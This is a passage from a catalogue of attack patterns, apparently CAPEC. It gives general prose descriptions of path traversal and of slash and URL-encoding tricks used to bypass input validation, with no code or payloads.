An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.